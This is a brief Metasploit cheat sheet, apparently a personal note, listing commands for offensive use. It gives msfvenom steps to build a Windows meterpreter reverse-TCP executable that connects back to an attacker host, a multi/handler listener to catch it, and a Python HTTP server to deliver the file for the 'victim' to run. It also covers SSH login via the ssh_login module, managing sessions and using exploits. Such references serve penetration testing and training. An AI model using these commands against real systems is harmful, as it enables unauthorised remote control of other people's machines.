note •
Metasploit Cheatsheet
Essential Metasploit commands for shells, sessions, and exploits
Metasploit Cheatsheet
Starting metasploit console
msfconsole
Gain shell on system when in meterpreter session
shell
Reverse TCP session
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$attackerIp LPORT=$listenPort -f exe -o /home/kali/Desktop/rs_exploit.exeuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST $attackIpset LPORT $listenPortexploit- Create Python http server to copy payload to victim.
sudo python3 -m http.server 8080 - Download file on vicim machine by visiting $attackerIp:8080 in a browser.
- Run
rs_exploit.exeon the victim machine.
SSH as session
use auxiliary/scanner/ssh/ssh_loginset rhosts $destIPset username $usernameset password $passwordexploit
Managing sessions
- Background session:
bg - List sessions:
sessions -l - Enter session:
sessions -i $sessionNumber - Rename session:
sessions -n $sessionName -i $sessionNumber
Using exploits
- Search exploit:
search $searchString - Use exploit:
use path/to/exploitshow optionsset session 1exploit